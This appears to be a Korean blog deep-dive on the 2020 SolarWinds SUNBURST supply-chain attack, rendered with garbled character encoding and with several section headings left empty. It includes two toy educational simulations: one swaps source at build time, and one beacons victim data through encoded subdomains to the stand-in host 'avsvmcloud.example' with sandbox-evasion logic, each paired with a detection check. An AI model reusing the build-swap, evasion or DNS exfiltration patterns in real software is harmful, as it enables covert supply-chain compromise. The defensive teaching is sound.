๐Ÿฆ… SolarWinds SUNBURST โ€” ๋นŒ๋“œ ์„œ๋ฒ„์— ์ˆจ์–ด๋“  ๋ฐฑ๋„์–ด, 18,000๊ณณ์˜ ์‹ ๋ขฐ๋ฅผ ๋ฌด๊ธฐ๋กœ ๋ฏธ ์ •๋ถ€๋ฅผ ๋šซ๋‹ค (2020)

2026-09-12 ยท Malware Deep-Dive

1. ๋ฐฐ๊ฒฝ/์—ญ์‚ฌ โ€” ์–ธ์ œ, ๋ˆ„๊ฐ€, ์™œ ์œ ๋ช…ํ•œ๊ฐ€

SUNBURST(์„ ๋ฒ„์ŠคํŠธ, ๋ณ„์นญ Solorigate)๋Š” 2020๋…„ 12์›”์— ๋“œ๋Ÿฌ๋‚œ, IT ๊ด€๋ฆฌ ์†Œํ”„ํŠธ์›จ์–ด SolarWinds Orion ํ”Œ๋žซํผ์˜ ๊ณต์‹ ์—…๋ฐ์ดํŠธ ์ž์ฒด์— ์•…์„ฑ ์ฝ”๋“œ๊ฐ€ ์‹ฌ๊ฒจ ๋ฐฐํฌ๋œ ์†Œํ”„ํŠธ์›จ์–ด ๊ณต๊ธ‰๋ง(Supply Chain) ๊ณต๊ฒฉ์ด๋‹ค. '์ทจ์•ฝ์ ์„ ์ฐŒ๋ฅธ' ๊ฒƒ์ด ์•„๋‹ˆ๋ผ '์ •ํ’ˆยท์ •์ƒ ์„œ๋ช…๋œ ์—…๋ฐ์ดํŠธ'๊ฐ€ ๊ณง ๊ณต๊ฒฉ ๋ฒกํ„ฐ์˜€๋‹ค๋Š” ์ ์—์„œ ์ด์ „ ์„ธ๋Œ€ ์•…์„ฑ์ฝ”๋“œ์™€ ์ฐจ์›์ด ๋‹ค๋ฅด๋‹ค.

  • ์‚ฌ๊ฑด๋ช…: SolarWinds Orion ๊ณต๊ธ‰๋ง ์นจํ•ด / SUNBURST ๋ฐฑ๋„์–ด (๋ณ„์นญ Solorigate, UNC2452)
  • ์‹œ๊ธฐ: ์•…์„ฑ ๋นŒ๋“œ ์ฃผ์ž… ์•ฝ 2020๋…„ 3์›” โ†’ 2020๋…„ 12์›” 8์ผ FireEye ์นจํ•ด ๊ณต๊ฐœ โ†’ 12์›” 13์ผ SolarWindsยทCISA ๊ณต์‹ ํ™•์ธ
  • ๊ณต๊ฒฉ์ž: APT29(aka Cozy Bear / Nobelium). 2021๋…„ 4์›” ๋ฏธ๊ตญ ์ •๋ถ€(NSAยทCISAยทFBIยทODNI ๊ณต๋™)๊ฐ€ ๋Ÿฌ์‹œ์•„ SVR(๋Œ€์™ธ์ •๋ณด๊ตญ) ์†Œํ–‰์œผ๋กœ ๊ณต์‹ ๊ท€์†
  • ํ•ต์‹ฌ: ์ •ํ’ˆ ์ฝ”๋“œ์„œ๋ช… ์ธ์ฆ์„œ๋กœ ์„œ๋ช…๋œ SolarWinds.Orion.Core.BusinessLayer.dll ๋ฐฑ๋„์–ด
  • ๊ทœ๋ชจ: ์•…์„ฑ ์—…๋ฐ์ดํŠธ๋ฅผ ๋‚ด๋ ค๋ฐ›์€ ์กฐ์ง ์•ฝ 18,000๊ณณ, ์‹ค์ œ ํ›„์† ์นจํ•ด๋กœ ์ด์–ด์ง„ ๊ณณ์€ ์•ฝ 100๊ณณ ์ด๋‚ด(๋ฏธ ์ •๋ถ€ ์กฐ์‚ฌ ๊ธฐ์ค€)

์™œ ์œ ๋ช…ํ•œ๊ฐ€๋Š” ํ•œ ๋ฌธ์žฅ์œผ๋กœ ์š”์•ฝ๋œ๋‹ค. "๋ฐฑ์‹ ๋„, ๋ฐฉํ™”๋ฒฝ๋„, ์„œ๋ช… ๊ฒ€์ฆ๋„ ๋ชจ๋‘ ํ†ต๊ณผํ•˜๋Š” ์—…๋ฐ์ดํŠธ๋ฅผ ํ†ตํ•ด, ๋ฏธ ์žฌ๋ฌด๋ถ€ยท์ƒ๋ฌด๋ถ€ยท๊ตญํ† ์•ˆ๋ณด๋ถ€ยท๋ฒ•๋ฌด๋ถ€ ๋“ฑ ์—ฐ๋ฐฉ๊ธฐ๊ด€๊ณผ FireEyeยทMicrosoft ๊ฐ™์€ ๋ณด์•ˆยทIT ๋Œ€๊ธฐ์—…์ด ๋™์‹œ์— ๋šซ๋ ธ๋‹ค."

2. ๊ฐ์—ผยท์ „ํŒŒ ๊ฒฝ๋กœ โ€” ์–ด๋–ป๊ฒŒ ํผ์กŒ๋‚˜

์ด ๊ณต๊ฒฉ์—๋Š” '์ž๊ธฐ๋ณต์ œ'๋„ '์ทจ์•ฝ์  ์Šค์บ”'๋„ ์—†๋‹ค. ๋Œ€์‹  ๋‹จ ํ•˜๋‚˜์˜ ์‹ ๋ขฐ ์ฑ„๋„(์ •ํ’ˆ ์—…๋ฐ์ดํŠธ ์„œ๋ฒ„)์„ ํƒ€๊ณ  ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์œผ๋กœ ์กฐ์šฉํžˆ ๋ฐฐ๋‹ฌ๋๋‹ค. ๊ทธ๋ž˜์„œ ์›œ์ด ์•„๋‹ˆ๋ผ ๊ณต๊ธ‰๋ง ๋ฐฑ๋„์–ด๋กœ ๋ถ„๋ฅ˜๋œ๋‹ค.

3. ๋™์ž‘ ์›๋ฆฌ ์ƒ์„ธ ๋ถ„์„ โ€” ์ฝ”๋“œ/๊ตฌ์กฐ ๋ ˆ๋ฒจ

3-1. ์™œ '์ •์ƒ ์ฝ”๋“œ'์ฒ˜๋Ÿผ ๋ณด์ด๋Š”๊ฐ€

3-2. C2 ํ†ต์‹  โ€” DNS ์„œ๋ธŒ๋„๋ฉ”์ธ์— ๋ฐ์ดํ„ฐ๋ฅผ ์‹ค์–ด ๋ณด๋‚ธ๋‹ค

3-3. Golden SAML โ€” ํด๋ผ์šฐ๋“œ๋กœ ๋„˜์–ด๊ฐ€๋Š” ๋งˆ์ง€๋ง‰ ๊ณ ๋ฆฌ

๊ตฌ์„ฑ ์š”์†Œ์—ญํ• 
SUNSPOT๋นŒ๋“œ ์„œ๋ฒ„์— ์ƒ์ฃผํ•˜๋ฉฐ ์ปดํŒŒ์ผ ์ˆœ๊ฐ„ ์†Œ์Šค ํŒŒ์ผ์„ ๋ฐฑ๋„์–ด ๋ฒ„์ „์œผ๋กœ ์ˆœ๊ฐ„ ๊ต์ฒดยท์›๋ณต
SUNBURST (Solorigate)์„œ๋ช…๋œ Orion DLL์— ํ•ฉ์ณ์ง„ 1์ฐจ ๋ฐฑ๋„์–ด. ์ž ๋ณตยทํ™˜๊ฒฝ ์ธ์ง€ยทC2 ๋น„์ปจ
TEARDROP / Raindrop๋ฉ”๋ชจ๋ฆฌ ์ƒ์ฃผํ˜• ๋กœ๋”. Cobalt Strike ๋“ฑ 2์ฐจ ํŽ˜์ด๋กœ๋“œ ํˆฌํ•˜
GoldMax / Sibot์ง€์†์„ฑยท์ถ”๊ฐ€ ํ†ต์‹ ์šฉ ๋ณด์กฐ ์ž„ํ”Œ๋ž€ํŠธ

4. ํ”ผํ•ด ๊ทœ๋ชจ/์˜ํ–ฅ โ€” ์‹ค์ œ ์‚ฌ๋ก€ ์ˆ˜์น˜

5. PoC (๊ฐœ๋… ์ฆ๋ช…) โ€” ๊ต์œก์šฉ ๋ชจ์˜ ์ฝ”๋“œ

โš ๏ธ ์•ˆ์ „ ๊ทœ์น™: ์•„๋ž˜ ์ฝ”๋“œ๋Š” ์‹ค์ œ ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ์•„๋‹ˆ๋‹ค. avsvmcloud.comยทSolarWinds ์ œํ’ˆยท์‹ค์ œ ๋นŒ๋“œ ์„œ๋ฒ„ยท์‹ค์ œ AD FS๋Š” ์ผ์ ˆ ์‚ฌ์šฉํ•˜์ง€ ์•Š์œผ๋ฉฐ, ๋ชจ๋“  ๋Œ€์ƒ์€ ๋กœ์ปฌ ์‹ค์Šต ๋””๋ ‰ํ„ฐ๋ฆฌ/๊ฐ€์ƒ ํ˜ธ์ŠคํŠธ๋‹ค. ๋ชฉ์ ์€ '์™œ ์ด ๊ณต๊ฒฉ์ด ์ •์  ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ–ˆ๋Š”๊ฐ€'๋ผ๋Š” ๋™์ž‘ ์›๋ฆฌ ์žฌํ˜„์— ํ•œ์ •๋œ๋‹ค. ์‹ค์ œ ํŽ˜์ด๋กœ๋“œ ๋ณต์‚ฌยท๋ฐฐํฌยท๋ฌด๊ธฐํ™”๋Š” ๊ธˆ์ง€๋œ๋‹ค.

PoC A โ€” ๋นŒ๋“œ์‹œ์  ์ฃผ์ž…(SUNSPOT ์›๋ฆฌ) ์žฌํ˜„: "์†Œ์Šค๋Š” ๊นจ๋—ํ•œ๋ฐ ์‚ฐ์ถœ๋ฌผ๋งŒ ์˜ค์—ผ"

๋นŒ๋“œ ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ฐ์‹œํ•˜๋‹ค ์ปดํŒŒ์ผ ์ˆœ๊ฐ„์—๋งŒ ์†Œ์Šค๋ฅผ ๋ฐ”๊ฟ”์น˜๊ธฐํ•˜๊ณ , ๋๋‚˜๋ฉด ์›๋ณตํ•˜๋Š” ํ๋ฆ„์„ ๋กœ์ปฌ์—์„œ ๋ชจ์‚ฌํ•œ๋‹ค. ํƒ์ง€์˜ ์—ด์‡ ๋Š” "์‚ฐ์ถœ๋ฌผ(=DLL)๊ณผ ์†Œ์Šค๋กœ๋ถ€ํ„ฐ์˜ ์žฌํ˜„ ๋นŒ๋“œ ๊ฒฐ๊ณผ๋ฅผ ๋Œ€์กฐ"ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

# poc_a_build_inject.py โ€” ๊ต์œก์šฉ ๋ชจ์˜ (์‹ค์ œ ์•…์„ฑ์ฝ”๋“œ ์•„๋‹˜ / ๋กœ์ปฌ ์‹ค์Šต ๋””๋ ‰ํ„ฐ๋ฆฌ ์ „์šฉ)
import os, hashlib

os.makedirs("lab/src", exist_ok=True); os.makedirs("lab/out", exist_ok=True)
SRC, OUT = "lab/src/BusinessLayer.cs", "lab/out/BusinessLayer.dll"

# 1) ๊นจ๋—ํ•œ "์ •ํ’ˆ" ์†Œ์Šค
CLEAN = "class BusinessLayer { void Handle() { Log(); } }\n"
open(SRC, "w").write(CLEAN)

def compile_it():                 # ์‹ค์ œ๋กœ๋Š” csc.exe ์ปดํŒŒ์ผ ์ž๋ฆฌ
    open(OUT, "w").write("BINARY:" + open(SRC).read())
def h(p):                         # ์งง์€ ์ง€๋ฌธ(๊ต์œก์šฉ)
    return hashlib.sha256(open(p, "rb").read()).hexdigest()[:16]

compile_it()
benign_hash = h(OUT)
print("[0] ์ •ํ’ˆ ๋นŒ๋“œ ์‚ฐ์ถœ๋ฌผ ํ•ด์‹œ :", benign_hash)

# 2) SUNSPOT ํ‰๋‚ด: '์ปดํŒŒ์ผ์ด ์‹œ์ž‘๋˜๋Š” ์ˆœ๊ฐ„'๋งŒ ๋ฐฑ๋„์–ด ๋ฒ„์ „์œผ๋กœ ์ผ์‹œ ๊ต์ฒด
BACKDOORED = CLEAN.replace("Log();", "Log(); Backdoor(); /* [EDU-MOCK] */")
open(SRC, "w").write(BACKDOORED)  # <-- ์ˆœ๊ฐ„ ๊ต์ฒด
compile_it()                      #     ์˜ค์—ผ๋œ ์‚ฐ์ถœ๋ฌผ ์ƒ์„ฑ
open(SRC, "w").write(CLEAN)       # <-- ์ฆ‰์‹œ ์›๋ณต โ†’ ์†Œ์Šค ์ €์žฅ์†Œ์—” ํ”์  ์—†์Œ

print("[1] ๋นŒ๋“œ ํ›„ ์†Œ์Šค ํ•ด์‹œ      :", h(SRC), "(์›๋ณธ๊ณผ ๋™์ผ:", h(SRC) == h("lab/src/BusinessLayer.cs") and open(SRC).read() == CLEAN, ")")
print("[2] ์˜ค์—ผ๋œ ์‚ฐ์ถœ๋ฌผ ํ•ด์‹œ     :", h(OUT), "โ†’ ์ •ํ’ˆ๊ณผ ๋‹ค๋ฆ„:", h(OUT) != benign_hash)

# 3) ํƒ์ง€: "์†Œ์Šค์—์„œ ์žฌํ˜„ ๋นŒ๋“œํ•œ ๊ฒฐ๊ณผ"์™€ ์‹ค์ œ ๋ฐฐํฌ ์‚ฐ์ถœ๋ฌผ์„ ๋Œ€์กฐ
expected = hashlib.sha256(("BINARY:" + CLEAN).encode()).hexdigest()[:16]
print("[ํƒ์ง€] ์žฌํ˜„ ๋นŒ๋“œ ํ•ด์‹œ      :", expected)
print("[ํƒ์ง€] ์ผ์น˜ ์—ฌ๋ถ€           :", expected == h(OUT),
      "โ†’ False ๋ฉด '์†Œ์Šค์™€ ๋‹ค๋ฅธ ์‚ฐ์ถœ๋ฌผ' = ๊ณต๊ธ‰๋ง ์˜ค์—ผ ์˜์‹ฌ!")

PoC B โ€” ์ž ๋ณต ํ›„ ๋น„์ปจ(SUNBURST ์›๋ฆฌ) ์žฌํ˜„ + ๋„คํŠธ์›Œํฌ ํƒ์ง€

12~14์ผ ์ž ๋ณตยทํ™˜๊ฒฝ ์ธ์ง€ยท์„œ๋ธŒ๋„๋ฉ”์ธ ์ธ์ฝ”๋”ฉ ๋น„์ปจ์„ ๊ฐ€์ƒ C2(avsvmcloud.example)๋กœ ๋ชจ์‚ฌํ•˜๊ณ , ๋งˆ์ง€๋ง‰์— "์•Œ๋ ค์ง„ C2 ๋„๋ฉ”์ธ ๋ฌธ์ž์—ด ์ƒ์‹œ ๋งค์นญ"์ด๋ผ๋Š” ๋„คํŠธ์›Œํฌ ํƒ์ง€๊ฐ€ ์–ด๋–ป๊ฒŒ ์žก๋Š”์ง€ ๋ณด์—ฌ์ค€๋‹ค.

# poc_b_beacon_sim.py โ€” ๊ต์œก์šฉ ๋ชจ์˜ (๊ฐ€์ƒ C2 / ์‹ค์ œ ๋„๋ฉ”์ธ ์•„๋‹˜)
import base64, hashlib

FAKE_C2 = "avsvmcloud.example"     # ์‹ค์ œ ๋„๋ฉ”์ธ ์•„๋‹˜ (example ์ตœ์ƒ์œ„)
SLEEP_DAYS, DECOY_AV = 14, ["edr.example"]   # ์ž ๋ณต ๊ธฐ๊ฐ„ / ๊ฐ€์ƒ ๋ณด์•ˆ์ œํ’ˆ ํ”์ 

def env_is_sandbox():
    return any(a in "lab.local-proc-list" for a in DECOY_AV)  # ๋กœ์ปฌ ๋ชจ์˜ ํŒ๋ณ„

def beacon_domain(org, host):
    # ํ”ผํ•ด ์ •๋ณด๋ฅผ ์„œ๋ธŒ๋„๋ฉ”์ธ์— ์ธ์ฝ”๋”ฉํ•ด DNS ์งˆ์˜๋งŒ์œผ๋กœ๋„ ์œ ์ถœ๋˜๊ฒŒ (SUNBURST ๋ฐฉ์‹ ๋ชจ์‚ฌ)
    blob = base64.b32encode(hashlib.sha256(f"{org}|{host}".encode()).digest())
    return blob.decode().lower()[:20] + f".appsync-api.us-east-2.{FAKE_C2}"

def run():
    if env_is_sandbox():
        print("[ํšŒํ”ผ] ๋ถ„์„ ํ™˜๊ฒฝ ๊ฐ์ง€ โ†’ ์•„๋ฌด ๋™์ž‘ ์—†์ด ์ข…๋ฃŒ"); return
    for day in range(1, SLEEP_DAYS + 1):
        if day < 13:
            continue                       # 12~14์ผ๊ฐ„ '์นจ๋ฌต'
        dom = beacon_domain("lab.local", "SRV-01")
        print(f"[day {day}] ๋น„์ปจ: GET https://{dom}/dns/query?<encoded-victim>")
        print("           (HTTP ๋‚ ์งœ ํ—ค๋” ์Šคํ‘ธํ•‘ / ํ”„๋ก์‹œ ์ž๋™ ํƒ์ƒ‰ ํ‰๋‚ด)")
        break

run()

# --- ๋„คํŠธ์›Œํฌ ํƒ์ง€ (๋ฐฉ์–ด ์ธก) ---
KNOWN_C2 = (FAKE_C2,)
def detect(doms):
    return [d for d in doms if any(c in d for c in KNOWN_C2)]
sample = [beacon_domain("lab.local", "SRV-01")]
print("[ํƒ์ง€] ์˜์‹ฌ ๋„๋ฉ”์ธ ๋งค์นญ:", detect(sample))
print("       โ†’ ๋น„์ปจ์€ '๋„๋ฉ”์ธ ๋ฌธ์ž์—ด + ์ฃผ๊ธฐ์„ฑ'์œผ๋กœ ์žก๋Š”๋‹ค. 12์ผ ์นจ๋ฌต๋„ DNS ๋กœ๊ทธ๋Š” ๋‚จ๋Š”๋‹ค.")

(์ฐธ๊ณ ) Golden SAML ๊ฐœ๋… ์š”์•ฝ โ€” ์ฝ”๋“œ๊ฐ€ ์•„๋‹ˆ๋ผ '์‹ ๋ขฐ ๊ตฌ์กฐ'์˜ ๋ฌธ์ œ

Golden SAML์€ ์ทจ์•ฝ์ ์ด ์•„๋‹ˆ๋ผ ์„ค๊ณ„์ƒ ์‹ ๋ขฐ์˜ ๋ฌธ์ œ๋‹ค. AD FS์˜ ํ† ํฐ ์„œ๋ช… ์ธ์ฆ์„œ ํ‚ค๋ฅผ ์–ป์œผ๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์ž„์˜ ์‚ฌ์šฉ์žยท์ž„์˜ ๊ถŒํ•œ์˜ SAML ์–ด์„ค์…˜์„ ์Šค์Šค๋กœ ์„œ๋ช…ํ•ด ํด๋ผ์šฐ๋“œ IdP์— ์ œ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค. MFAยท๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด, ๋กœ๊ทธ์—๋Š” '์ •์ƒ ๋กœ๊ทธ์ธ'์œผ๋กœ ๋‚จ๋Š”๋‹ค. ๋ฐฉ์–ด์˜ ํ•ต์‹ฌ์€ ์ธ์ฆ์„œ ํ‚ค ๋ณดํ˜ธ์™€ ๋น„์ •์ƒ ์–ด์„ค์…˜(์„œ๋ช…์ž/์กฐ๊ฑด/์‹œ๊ฐ„) ํƒ์ง€์ด๋ฉฐ, ์ฝ”๋“œ ์žฌํ˜„์ด ์•„๋‹ˆ๋ผ ํ‚ค ๊ด€๋ฆฌยท๋ชจ๋‹ˆํ„ฐ๋ง ๋ฌธ์ œ๋กœ ๋‹ค๋ฃจ๋Š” ๊ฒƒ์ด ์˜ณ๋‹ค.

6. ๋ฐฉ์–ด ๋ฐฉ๋ฒ•/๊ตํ›ˆ โ€” ์–ด๋–ป๊ฒŒ ๋ง‰์•˜๊ณ , ๋ฌด์—‡์„ ๋ฐฐ์šฐ๋‚˜

์ถœ์ฒ˜

ํ•จ๊ป˜ ์ฝ๊ธฐ: ๐Ÿชฑ Conficker (2008) โ€” ๋Œ€๊ทœ๋ชจ ๊ฐ์—ผ๊ณผ ๊ตญ์ œ ๊ณต์กฐ ยท ๐Ÿฆ  Mirai (2016) โ€” ๊ธฐ๋ณธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ IoT๋ฅผ ๋ฌด๊ธฐํ™” ยท โ˜ ๏ธ NotPetya (2017) โ€” ๊ณต๊ธ‰๋ง(M.E.Doc)์—์„œ ์‹œ์ž‘๋œ ์™€์ดํผ

๋ชฉ๋ก์œผ๋กœ ๋Œ์•„๊ฐ€๊ธฐ